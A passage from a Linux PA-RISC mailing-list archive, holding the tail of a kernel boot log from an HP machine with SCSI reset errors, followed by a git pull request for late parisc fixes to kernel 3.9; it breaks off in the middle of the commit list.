[    1.436000] 4. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
[    1.544000] 5. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
[    1.652000] 6. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
[    1.760000] 7. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
[    1.868000] 8. Quicksilver AGP Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x784, 0x0000a }
[    1.980000] 9. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
[    2.088000] 10. unknown device at 0xfffffff0f05e0000 [17] { 10, 0x0, 0x076, 0x000ad }
[    2.192000] 11. unknown device at 0xfffffff0f05e2000 [18] { 10, 0x0, 0x076, 0x000ad }
[    2.296000] Enabling PDC_PAT chassis codes support v0.05
[    3.192000] Releasing cpu 1 now, hpa=fffffffffe781000
[    3.616000] FP[1] enabled: Rev 1 Model 20
[    3.620000] genirq: Flags mismatch irq 64. 00015620 (timer) vs. 00015620 (timer)
[    3.768000] genirq: Flags mismatch irq 65. 00000420 (IPI) vs. 00000420 (IPI)
[    3.876000] CPU(s): 2 x PA8900 (Shortfin) at 1000.000000 MHz
[    3.960000] Whole cache flush 8506953 cycles, flushing 8413184 bytes 1019328 cycles
[    3.960000] Setting cache flush threshold to 4000000 (2 CPUs online)
[    4.192000] SBA found Pluto 2.3 at 0xfffffffffed00000
[    4.408000] Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
[    4.552000] LBA 0:0: PCI host bridge to bus 0000:00
[    4.616000] pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
[    4.696000] pci_bus 0000:00: root bus resource [mem 0xffffffff80000000-0xffffffff8fffffff] (bus address [0x80000000-0x8fffffff])
[    4.848000] pci_bus 0000:00: root bus resource [mem 0xffffff0000000000-0xffffff0fffffffff]
[    4.960000] pci_bus 0000:00: busn_res: [bus 00-07] is inserted under domain [bus 00-ff]
[    4.960000] pci_bus 0000:00: root bus resource [bus 00-07]
[    5.056000] Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
[    5.200000] LBA 0:2: PCI host bridge to bus 0000:40
[    5.264000] pci_bus 0000:40: root bus resource [io  0x10000-0x1ffff] (bus address [0x0000-0xffff])
[    5.384000] pci_bus 0000:40: root bus resource [mem 0xffffffffa0000000-0xffffffffafffffff] (bus address [0xa0000000-0xafffffff])
[    5.536000] pci_bus 0000:40: root bus resource [mem 0xffffff2000000000-0xffffff2fffffffff]
[    5.644000] pci_bus 0000:40: busn_res: [bus 40-47] is inserted under domain [bus 00-ff]
[    5.644000] pci_bus 0000:40: root bus resource [bus 40-47]
[    5.716000] pci 0000:40:01.0: [1000:0030] type 00 class 0x010000
[    5.716000] pci 0000:40:01.0: reg 10: [io  0x14100-0x141ff]
[    5.716000] pci 0000:40:01.0: reg 14: [mem 0xffffffffa0260000-0xffffffffa027ffff 64bit]
[    5.716000] pci 0000:40:01.0: reg 1c: [mem 0xffffffffa0240000-0xffffffffa025ffff 64bit]
[    5.716000] pci 0000:40:01.0: reg 30: [mem 0xffffffffa0100000-0xffffffffa01fffff pref]
[    5.716000] pci 0000:40:01.0: supports D1 D2
[    5.716000] pci 0000:40:01.1: [1000:0030] type 00 class 0x010000
[    5.716000] pci 0000:40:01.1: reg 10: [io  0x14000-0x140ff]
[    5.716000] pci 0000:40:01.1: reg 14: [mem 0xffffffffa0220000-0xffffffffa023ffff 64bit]
[    5.716000] pci 0000:40:01.1: reg 1c: [mem 0xffffffffa0200000-0xffffffffa021ffff 64bit]
[    5.716000] pci 0000:40:01.1: reg 30: [mem 0xffffffffa0000000-0xffffffffa00fffff pref]
[    5.716000] pci 0000:40:01.1: supports D1 D2
[    5.740000] Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
[    5.888000] LBA 0:3: PCI host bridge to bus 0000:60
[    5.952000] pci_bus 0000:60: root bus resource [io  0x20000-0x2ffff] (bus address [0x0000-0xffff])
[    6.068000] pci_bus 0000:60: root bus resource [mem 0xffffffffb0000000-0xffffffffbfffffff] (bus address [0xb0000000-0xbfffffff])
[    6.220000] pci_bus 0000:60: root bus resource [mem 0xffffff3000000000-0xffffff3fffffffff]
[    6.332000] pci_bus 0000:60: busn_res: [bus 60-67] is inserted under domain [bus 00-ff]
[    6.332000] pci_bus 0000:60: root bus resource [bus 60-67]
[    6.404000] pci 0000:60:01.0: [1033:0035] type 00 class 0x0c0310
[    6.404000] pci 0000:60:01.0: reg 10: [mem 0xffffffffb00a3000-0xffffffffb00a3fff]
[    6.404000] pci 0000:60:01.0: supports D1 D2
[    6.404000] pci 0000:60:01.0: PME# supported from D0 D1 D2 D3hot
[    6.404000] pci 0000:60:01.1: [1033:0035] type 00 class 0x0c0310
[    6.404000] pci 0000:60:01.1: reg 10: [mem 0xffffffffb00a2000-0xffffffffb00a2fff]
[    6.404000] pci 0000:60:01.1: supports D1 D2
[    6.404000] pci 0000:60:01.1: PME# supported from D0 D1 D2 D3hot
[    6.404000] pci 0000:60:01.2: [1033:00e0] type 00 class 0x0c0320
[    6.404000] pci 0000:60:01.2: reg 10: [mem 0xffffffffb00a1000-0xffffffffb00a10ff]
[    6.404000] pci 0000:60:01.2: supports D1 D2
[    6.404000] pci 0000:60:01.2: PME# supported from D0 D1 D2 D3hot
[    6.404000] pci 0000:60:02.0: [1095:0680] type 00 class 0x010185
[    6.404000] pci 0000:60:02.0: reg 10: [io  0x26058-0x2605f]
[    6.404000] pci 0000:60:02.0: reg 14: [io  0x26064-0x26067]
[    6.404000] pci 0000:60:02.0: reg 18: [io  0x26050-0x26057]
[    6.404000] pci 0000:60:02.0: reg 1c: [io  0x26060-0x26063]
[    6.404000] pci 0000:60:02.0: reg 20: [io  0x26040-0x2604f]
[    6.404000] pci 0000:60:02.0: reg 24: [mem 0xffffffffb00a0000-0xffffffffb00a00ff]
[    6.404000] pci 0000:60:02.0: reg 30: [mem 0xffffffffb0000000-0xffffffffb007ffff pref]
[    6.404000] pci 0000:60:02.0: supports D1 D2
[    6.404000] pci 0000:60:03.0: [8086:100e] type 00 class 0x020000
[    6.404000] pci 0000:60:03.0: reg 10: [mem 0xffffffffb0080000-0xffffffffb009ffff]
[    6.404000] pci 0000:60:03.0: reg 18: [io  0x26000-0x2603f]
[    6.404000] pci 0000:60:03.0: PME# supported from D0 D3hot D3cold
[    6.428000] Quicksilver version TR1.0 (0x10) found at 0xfffffffffed28000
[    6.576000] LBA 0:4: PCI host bridge to bus 0000:80
[    6.644000] pci_bus 0000:80: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0xffff])
[    6.760000] pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffcfffffff] (bus address [0xc0000000-0xcfffffff])
[    6.912000] pci_bus 0000:80: root bus resource [mem 0xffffff4000000000-0xffffff4fffffffff]
[    7.024000] pci_bus 0000:80: busn_res: [bus 80-87] is inserted under domain [bus 00-ff]
[    7.024000] pci_bus 0000:80: root bus resource [bus 80-87]
[    7.096000] pci 0000:80:00.0: [1002:4a4d] type 00 class 0x030000
[    7.096000] pci 0000:80:00.0: reg 10: [mem 0xffffffffc8000000-0xffffffffcfffffff pref]
[    7.096000] pci 0000:80:00.0: reg 14: [io  0x3c000-0x3c0ff]
[    7.096000] pci 0000:80:00.0: reg 18: [mem 0xd0030000-0xd003ffff]
[    7.096000] pci 0000:80:00.0: reg 30: [mem 0xd0000000-0xd001ffff pref]
[    7.096000] pci 0000:80:00.0: supports D1 D2
[    7.096000] pci 0000:80:00.1: [1002:4a6d] type 00 class 0x038000
[    7.096000] pci 0000:80:00.1: reg 10: [mem 0xffffffffc0000000-0xffffffffc7ffffff pref]
[    7.096000] pci 0000:80:00.1: reg 14: [mem 0xd0020000-0xd002ffff]
[    7.096000] pci 0000:80:00.1: supports D1 D2
[    7.096000] pci 0000:80:00.0: no compatible bridge window for [mem 0xd0030000-0xd003ffff]
[    7.204000] pci 0000:80:00.0: no compatible bridge window for [mem 0xd0000000-0xd001ffff pref]
[    7.316000] pci 0000:80:00.1: no compatible bridge window for [mem 0xd0020000-0xd002ffff]
[    7.424000] iosapic: no IRTE for 0000:80:00.1 (IRQ not connected?)
[    7.504000] pci 0000:80:00.0: BAR 6: assigned [mem 0xffffff4000000000-0xffffff400001ffff pref]
[    7.620000] pci 0000:80:00.0: BAR 2: assigned [mem 0xffffff4000020000-0xffffff400002ffff]
[    7.728000] pci 0000:80:00.1: BAR 1: assigned [mem 0xffffff4000030000-0xffffff400003ffff]
[    8.240000] powersw: Soft power switch at 0xfffffff0f042e278 enabled.
[    8.336000] bio: create slab <bio-0> at 0
[    8.456000] raid6: int64x1    987 MB/s
[    8.572000] raid6: int64x2   1207 MB/s
[    8.688000] raid6: int64x4   1342 MB/s
[    8.804000] raid6: int64x8   1269 MB/s
[    8.852000] raid6: using algorithm int64x4 (1342 MB/s)
[    8.920000] raid6: using intx1 recovery algorithm
[    8.980000] vgaarb: device added: PCI:0000:80:00.0,decodes=io+mem,owns=io+mem,locks=none
[    9.088000] vgaarb: loaded
[    9.124000] vgaarb: bridge control possible 0000:80:00.0
[    9.196000] SCSI subsystem initialized
[    9.244000] usbcore: registered new interface driver usbfs
[    9.316000] usbcore: registered new interface driver hub
[    9.388000] usbcore: registered new device driver usb
[    9.460000] NET: Registered protocol family 2
[    9.520000] TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
[    9.620000] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
[    9.712000] TCP: Hash tables configured (established 262144 bind 65536)
[    9.800000] TCP: reno registered
[    9.840000] UDP hash table entries: 4096 (order: 5, 131072 bytes)
[    9.920000] UDP-Lite hash table entries: 4096 (order: 5, 131072 bytes)
[   10.008000] NET: Registered protocol family 1
[   10.064000] PCI: CLS 64 bytes
[   10.140000] Unpacking initramfs...
[   11.484000] Freeing initrd memory: 2338k freed
[   11.544000] The PDC console driver is still registered, removing CON_BOOT flag
[   11.640000] Chassis warnings not supported.
[   11.696000] Performance monitoring counters enabled for Crestone Peak Mako+ Slow
[   11.804000] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[   11.904000] msgmni has been set to 16080
[   11.956000] io scheduler noop registered
[   12.008000] io scheduler deadline registered
[   12.068000] io scheduler cfq registered (default)
[   12.128000] STI GSC/PCI core graphics driver Version 0.9a
[   12.256000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[   12.336000] Linux agpgart interface v0.103
[   12.396000] loop: module loaded
[   12.436000] Uniform Multi-Platform E-IDE driver
[   12.520000] siimage 0000:60:02.0: IDE controller (0x1095:0x0680 rev 0x02)
[   12.612000] siimage 0000:60:02.0: BASE CLOCK == 133
[   12.676000] siimage 0000:60:02.0: 100% native mode on irq 71
[   12.748000]     ide0: MMIO-DMA
[   12.788000]     ide1: MMIO-DMA
[   12.832000] Probing IDE interface ide0...
[   13.400000] Probing IDE interface ide1...
[   14.136000] hdc: HL-DT-STDVD-ROM GDR8164B, ATAPI CD/DVD-ROM drive
[   14.552000] hdc: host max PIO4 wanted PIO255(auto-tune) selected PIO4
[   14.552000] hdc: UDMA/44 mode selected
[   14.604000] ide0 at 0x60080-0x60087,0x6008a on irq 71
[   14.668000] ide1 at 0x600c0-0x600c7,0x600ca on irq 71
[   14.736000] ide-gd driver 1.18
[   14.776000] ide-cd driver 5.00
[   14.824000] ide-cd: hdc: ATAPI 48X DVD-ROM drive, 256kB Cache
[   14.900000] cdrom: Uniform CD-ROM driver Revision: 3.20
[   15.020000] Fusion MPT base driver 3.04.20
[   15.072000] Copyright (c) 1999-2008 LSI Corporation
[   15.136000] Fusion MPT SPI Host driver 3.04.20
[   15.220000] mptbase: ioc0: Initiating bringup
[   15.760000] ioc0: LSI53C1030 B2: Capabilities={Initiator,Target}
[   16.328000] scsi0 : ioc0: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=66
[   43.872000] mptscsih: ioc0: attempting task abort! (sc=000000007f29e300)
[   43.960000] scsi 0:0:6:0: CDB: 
[   44.000000] cdb[0]=0x12: 12 00 00 00 24 00
[   54.176000] mptscsih: ioc0: WARNING - Issuing Reset from mptscsih_IssueTaskMgmt!! doorbell=0x24000000
[   55.584000] mptscsih: ioc0: task abort: SUCCESS (rv=2002) (sc=000000007f29e300)
[   55.680000] scsi target0:0:6: asynchronous
[   55.928000] mptscsih: ioc0: attempting target reset! (sc=000000007f29e300)
[   56.020000] scsi 0:0:6:0: CDB: 
[   56.060000] cdb[0]=0x12: 12 00 00 00 24 00
[   56.476000] mptscsih: ioc0: target reset: SUCCESS (sc=000000007f29e300)
[   56.812000] mptscsih: ioc0: attempting bus reset! (sc=000000007f29e300)
[   56.900000] scsi 0:0:6:0: CDB: 
[   56.944000] cdb[0]=0x12: 12 00 00 00 24 00
[   57.632000] mptscsih: ioc0: bus reset: SUCCESS (sc=000000007f29e300)
[   67.968000] mptscsih: ioc0: attempting host reset! (sc=000000007f29e300)
[   68.816000] mptscsih: ioc0: host reset: SUCCESS (sc=000000007f29e300)
[   68.900000] scsi target0:0:6: asynchronous
[   79.152000] scsi 0:0:6:0: Device offlined - not ready after error recovery
[   81.268000] mptbase: ioc1: Initiating bringup
[   81.808000] ioc1: LSI53C1030 B2: Capabilities={Initiator,Target}
[   82.376000] scsi1 : ioc1: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=67
[   86.868000] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[   86.952000] ehci_hcd: block sizes: qh 104 qtd 96 itd 192 sitd 96
[   86.976000] ehci_hcd 0000:60:01.2: EHCI Host Controller
[   87.048000] ehci_hcd 0000:60:01.2: new USB bus registered, assigned bus number 1
[   87.144000] ehci_hcd 0000:60:01.2: reset hcs_params 0x2395 dbg=0 cc=2 pcc=3 ports=5
[   87.144000] ehci_hcd 0000:60:01.2: reset portroute 1 0 1 0 0 
[   87.144000] ehci_hcd 0000:60:01.2: reset hcc_params 0002 thresh 0 uframes 256/512/1024
[   87.144000] ehci_hcd 0000:60:01.2: reset command 0080002 (park)=0 ithresh=8 period=1024 Reset HALT
[   87.144000] ehci_hcd 0000:60:01.2: ...powerup ports...
[   87.168000] ehci_hcd 0000:60:01.2: MWI active
[   87.168000] ehci_hcd 0000:60:01.2: supports USB remote wakeup
[   87.168000] ehci_hcd 0000:60:01.2: irq 70, io mem 0xffffffffb00a1000
[   87.248000] ehci_hcd 0000:60:01.2: init command 0010005 (park)=0 ithresh=1 period=512 RUN
[   87.260000] ehci_hcd 0000:60:01.2: USB 2.0 started, EHCI 0.95
[   87.332000] usb usb1: default language 0x0409
[   87.332000] usb usb1: udev 1, busnum 1, minor = 0
[   87.332000] usb usb1: New USB device found, idVendor=1d6b, idProduct=0002
[   87.424000] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[   87.520000] usb usb1: Product: EHCI Host Controller
[   87.584000] usb usb1: Manufacturer: Linux 3.6.11-livecd64 ehci_hcd
[   87.664000] usb usb1: SerialNumber: 0000:60:01.2
[   87.724000] usb usb1: usb_probe_device
[   87.724000] usb usb1: configuration #1 chosen from 1 choice
[   87.724000] usb usb1: adding 1-0:1.0 (config #1, interface 0)
[   87.724000] hub 1-0:1.0: usb_probe_interface
[   87.724000] hub 1-0:1.0: usb_probe_interface - got id
[   87.724000] hub 1-0:1.0: USB hub found
[   87.776000] hub 1-0:1.0: 5 ports detected
[   87.828000] hub 1-0:1.0: standalone hub
[   87.828000] hub 1-0:1.0: individual port power switching
[   87.828000] hub 1-0:1.0: individual port over-current protection
[   87.828000] hub 1-0:1.0: power on to power good time: 20ms
[   87.828000] hub 1-0:1.0: local power source is good
[   87.828000] hub 1-0:1.0: enabling power on all ports
[   87.828000] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[   87.908000] ohci_hcd: block sizes: ed 80 td 96
[   87.936000] ohci_hcd 0000:60:01.0: OHCI Host Controller
[   88.004000] ohci_hcd 0000:60:01.0: new USB bus registered, assigned bus number 2
[   88.100000] ohci_hcd 0000:60:01.0: enabled NEC chipset lost interrupt quirk
[   88.100000] ohci_hcd 0000:60:01.0: created debug files
[   88.100000] ohci_hcd 0000:60:01.0: supports USB remote wakeup
[   88.100000] ohci_hcd 0000:60:01.0: irq 68, io mem 0xffffffffb00a3000
[   88.184000] hub 1-0:1.0: state 7 ports 5 chg 0000 evt 0000
[   88.748000] ohci_hcd 0000:60:01.0: OHCI controller state
[   88.748000] ohci_hcd 0000:60:01.0: OHCI 1.0, NO legacy support registers, rh state running
[   88.748000] ohci_hcd 0000:60:01.0: control 0x083 HCFS=operational CBSR=3
[   88.748000] ohci_hcd 0000:60:01.0: cmdstatus 0x00000 SOC=0
[   88.748000] ohci_hcd 0000:60:01.0: intrstatus 0x00000004 SF
[   88.748000] ohci_hcd 0000:60:01.0: intrenable 0x8000005a MIE RHSC UE RD WDH
[   88.748000] ohci_hcd 0000:60:01.0: hcca frame #01ff
[   88.748000] ohci_hcd 0000:60:01.0: roothub.a ff000203 POTPGT=255 NPS NDP=3(3)
[   88.748000] ohci_hcd 0000:60:01.0: roothub.b 00000000 PPCM=0000 DR=0000
[   88.748000] ohci_hcd 0000:60:01.0: roothub.status 00008000 DRWE
[   88.748000] ohci_hcd 0000:60:01.0: roothub.portstatus [0] 0x00000100 PPS
[   88.748000] ohci_hcd 0000:60:01.0: roothub.portstatus [1] 0x00000100 PPS
[   88.748000] ohci_hcd 0000:60:01.0: roothub.portstatus [2] 0x00000100 PPS
[   88.748000] usb usb2: default language 0x0409
[   88.748000] usb usb2: udev 1, busnum 2, minor = 128
[   88.748000] usb usb2: New USB device found, idVendor=1d6b, idProduct=0001
[   88.836000] usb usb2: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[   88.932000] usb usb2: Product: OHCI Host Controller
[   88.996000] usb usb2: Manufacturer: Linux 3.6.11-livecd64 ohci_hcd
[   89.080000] usb usb2: SerialNumber: 0000:60:01.0
[   89.140000] usb usb2: usb_probe_device
[   89.140000] usb usb2: configuration #1 chosen from 1 choice
[   89.140000] usb usb2: adding 2-0:1.0 (config #1, interface 0)
[   89.140000] hub 2-0:1.0: usb_probe_interface
[   89.140000] hub 2-0:1.0: usb_probe_interface - got id
[   89.140000] hub 2-0:1.0: USB hub found
[   89.188000] hub 2-0:1.0: 3 ports detected
[   89.244000] hub 2-0:1.0: standalone hub
[   89.244000] hub 2-0:1.0: no power switching (usb 1.0)
[   89.244000] hub 2-0:1.0: global over-current protection
[   89.244000] hub 2-0:1.0: power on to power good time: 510ms
[   89.244000] hub 2-0:1.0: local power source is good
[   89.244000] hub 2-0:1.0: no over-current condition exists
[   89.244000] hub 2-0:1.0: trying to enable port power on non-switchable hub
[   89.268000] ohci_hcd 0000:60:01.1: OHCI Host Controller
[   89.336000] ohci_hcd 0000:60:01.1: new USB bus registered, assigned bus number 3
[   89.432000] ohci_hcd 0000:60:01.1: enabled NEC chipset lost interrupt quirk
[   89.432000] ohci_hcd 0000:60:01.1: created debug files
[   89.432000] ohci_hcd 0000:60:01.1: supports USB remote wakeup
[   89.432000] ohci_hcd 0000:60:01.1: irq 69, io mem 0xffffffffb00a2000
[   90.080000] ohci_hcd 0000:60:01.1: OHCI controller state
[   90.080000] ohci_hcd 0000:60:01.1: OHCI 1.0, NO legacy support registers, rh state running
[   90.080000] ohci_hcd 0000:60:01.1: control 0x083 HCFS=operational CBSR=3
[   90.080000] ohci_hcd 0000:60:01.1: cmdstatus 0x00000 SOC=0
[   90.080000] ohci_hcd 0000:60:01.1: intrstatus 0x00000004 SF
[   90.080000] ohci_hcd 0000:60:01.1: intrenable 0x8000005a MIE RHSC UE RD WDH
[   90.080000] ohci_hcd 0000:60:01.1: hcca frame #01ff
[   90.080000] ohci_hcd 0000:60:01.1: roothub.a ff000202 POTPGT=255 NPS NDP=2(2)
[   90.080000] ohci_hcd 0000:60:01.1: roothub.b 00000000 PPCM=0000 DR=0000
[   90.080000] ohci_hcd 0000:60:01.1: roothub.status 00008000 DRWE
[   90.080000] ohci_hcd 0000:60:01.1: roothub.portstatus [0] 0x00000100 PPS
[   90.080000] ohci_hcd 0000:60:01.1: roothub.portstatus [1] 0x00000100 PPS
[   90.080000] usb usb3: default language 0x0409
[   90.080000] usb usb3: udev 1, busnum 3, minor = 256
[   90.080000] usb usb3: New USB device found, idVendor=1d6b, idProduct=0001
[   90.168000] usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[   90.264000] usb usb3: Product: OHCI Host Controller
[   90.328000] usb usb3: Manufacturer: Linux 3.6.11-livecd64 ohci_hcd
[   90.412000] usb usb3: SerialNumber: 0000:60:01.1
[   90.472000] hub 2-0:1.0: state 7 ports 3 chg 0000 evt 0000
[   90.472000] usb usb3: usb_probe_device
[   90.472000] usb usb3: configuration #1 chosen from 1 choice
[   90.472000] usb usb3: adding 3-0:1.0 (config #1, interface 0)
[   90.472000] hub 3-0:1.0: usb_probe_interface
[   90.472000] hub 3-0:1.0: usb_probe_interface - got id
[   90.472000] hub 3-0:1.0: USB hub found
[   90.520000] hub 3-0:1.0: 2 ports detected
[   90.576000] hub 3-0:1.0: standalone hub
[   90.576000] hub 3-0:1.0: no power switching (usb 1.0)
[   90.576000] hub 3-0:1.0: global over-current protection
[   90.576000] hub 3-0:1.0: power on to power good time: 510ms
[   90.576000] hub 3-0:1.0: local power source is good
[   90.576000] hub 3-0:1.0: no over-current condition exists
[   90.576000] hub 3-0:1.0: trying to enable port power on non-switchable hub
[   90.576000] usbcore: registered new interface driver libusual
[   90.652000] mousedev: PS/2 mouse device common for all mice
[   90.732000] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
[   90.824000] md: raid1 personality registered for level 1
[   90.896000] md: raid6 personality registered for level 6
[   90.964000] md: raid5 personality registered for level 5
[   91.036000] md: raid4 personality registered for level 4
[   91.104000] hub 3-0:1.0: state 7 ports 2 chg 0000 evt 0000
[   91.108000] usbcore: registered new interface driver usbhid
[   91.184000] usbhid: USB HID core driver
[   91.232000] TCP: cubic registered
[   91.276000] NET: Registered protocol family 10
[   91.336000] NET: Registered protocol family 17
[   91.396000] Key type dns_resolver registered
[   91.460000] rtc-generic rtc-generic: setting system clock to 2013-03-17 09:30:08 UTC (1363512608)
[   92.056000] Freeing unused kernel memory: 376k freed
[  168.076000] ISO 9660 Extensions: Microsoft Joliet Level 3
[  169.840000] ISO 9660 Extensions: RRIP_1991A
[  381.100000] udevd[4964]: starting version 171
[  383.248000] e1000: Intel(R) PRO/1000 Network Driver - version 7.3.21-k8-NAPI
[  383.248000] e1000: Copyright (c) 1999-2006 Intel Corporation.
[  384.504000] e1000 0000:60:03.0: eth0: (PCI:33MHz:32-bit) 00:13:21:1a:c5:a5
[  384.504000] e1000 0000:60:03.0: eth0: Intel(R) PRO/1000 Network Connection
[  450.320000] warning: process `hwsetup' used the deprecated sysctl system call with 1.23.
[  459.952000] hdc: UDMA/44 mode selected
[  462.008000] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready
[  462.024000] e1000: eth0 NIC Link is Up 100 Mbps Full Duplex, Flow Control: RX/TX
[  462.024000] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
[  480.360000] RPC: Registered named UNIX socket transport module.
[  480.360000] RPC: Registered udp transport module.
[  480.360000] RPC: Registered tcp transport module.
[  480.360000] RPC: Registered tcp NFSv4.1 backchannel transport module.
[  526.456000] timer_interrupt(CPU 0): delayed! cycles 6D20C802 rem 1151FE  next/now 9DB32D5936/9DB31C0738
[  532.064000] timer_interrupt(CPU 1): delayed! cycles 8BDE3C25 rem 1566DB  next/now 9E9442784D/9E942D1172
[  535.804000] timer_interrupt(CPU 1): delayed! cycles 8BAEB7CF rem 7E231  next/now 9F732E574D/9F7326751C
[  539.344000] timer_interrupt(CPU 1): delayed! cycles 7A0EDE04 rem 321FC  next/now A045F16B4D/A045EE4951
[  545.640000] timer_interrupt(CPU 0): delayed! cycles 7A0F65F6 rem 29A0A  next/now A23781DB36/A2377F412C
[  560.924000] timer_interrupt(CPU 1): delayed! cycles 7A1125BA rem DA46  next/now A54C36164D/A54C353C07
[  565.084000] timer_interrupt(CPU 1): delayed! cycles 7A101DFF rem 1E201  next/now A6442AA64D/A64428C44C
[  572.508000] timer_interrupt(CPU 1): delayed! cycles 7A0BBEC8 rem 64138  next/now A7FEE8EF4D/A7FEE2AE15
[  582.576000] timer_interrupt(CPU 1): delayed! cycles 7A0C167D rem 5E983  next/now AA57026C4D/AA56FC82CA
[  863.356000] PDC Stable Storage facility v0.30

eth0 has a flaky connector, that's why it comes up only after a delay,

CU,
Uli
-- 
Dipl. Inf. Ulrich Teichert|e-mail: Ulrich.Teichert@gmx.de | Listening to:
Stormweg 24               |Pale Bride (The Von Bondies), Slip Away (Sedatives)
24539 Neumuenster, Germany|Sacred Decay (The Estranged), She's Lost Control
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] late parisc fixes for 3.9
Date: Thu, 25 Apr 2013 23:24:38 +0200
Lines: 312
Approved: news@gmane.org
Message-ID: <20130425212438.GA25421@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1366925092 6198 80.91.229.3 (25 Apr 2013 21:24:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Apr 2013 21:24:52 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 25 23:24:56 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1UVTey-00087i-1s
	for glk-linux-kernel-3@plane.gmane.org; Thu, 25 Apr 2013 23:24:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759740Ab3DYVYr (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 25 Apr 2013 17:24:47 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:50644 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759724Ab3DYVYq (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 25 Apr 2013 17:24:46 -0400
Original-Received: from p100.box ([84.173.27.160]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0LqW8j-1UzqSP2nFx-00e2lG; Thu, 25 Apr 2013 23:24:41
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:9QJAMtoUy9UiEtbMAQSWk3h3X5QB2SqDRxk6akICO/djzbYEGXx
 K4UcOFpGEg4leErze7jZCXFwijiYSeCl1D6tyN0cpHJAnvjORt1DsRjeC9ddHcJ80SHQOuz
 wYE5S8eUj/1Afj+xcqK5JuATfIDuYtIYCLzGXrVoII50F1FiDZ6knOACPEdbuqw2qih1IBn
 hcq+gLF74tnWKho8e4pcw==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1481292 gmane.linux.ports.parisc:4960
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1481292>

Hi Linus,

I know it's *very* late in the 3.9 release cycle, but since there aren't
that many people testing the parisc linux kernel, a few (for our port)
critical issues just showed up a few days back for the first time.

That said, it would be very kind if you could pull this patchset which
touches parisc source files only.

What's in it?
* add missing __ucmpdi2 symbol, which is required for btrfs on 32bit kernel.
* change kunmap() macro to static inline function. This fixes a
  debian/gcc-4.4 build error.
* add locking when doing PTE updates. This fixes random userspace crashes.
* disable (optional) -mlong-calls compiler option for modules, else
  modules can't be loaded at runtime.
* a smart patch by Will Deacon which fixes 64bit put_user() warnings on
  32bit kernel.

Thanks,
Helge



The following changes since commit 0fbd06761f5c17cc9b20e02af60fd7ee9c895996:

  Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc (2013-04-24 17:10:18 -0700)

are available in the git repository at:


  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git fixes-3.9-late

for you to fetch changes up to bda079d336cd8183e1d844a265ea87ae3e1bbe78:

  parisc: use spin_lock_irqsave/spin_unlock_irqrestore for PTE updates (2013-04-25 22:37:00 +0200)

----------------------------------------------------------------
Helge Deller (1):
      parisc: disable -mlong-calls compiler option for kernel modules

John David Anglin (3):
      parisc: Provide __ucmpdi2 to resolve undefined references in 32 bit builds.
      parisc: Change kunmap macro to static inline function
      parisc: use spin_lock_irqsave/spin_unlock_irqrestore for PTE updates

Will Deacon (1):
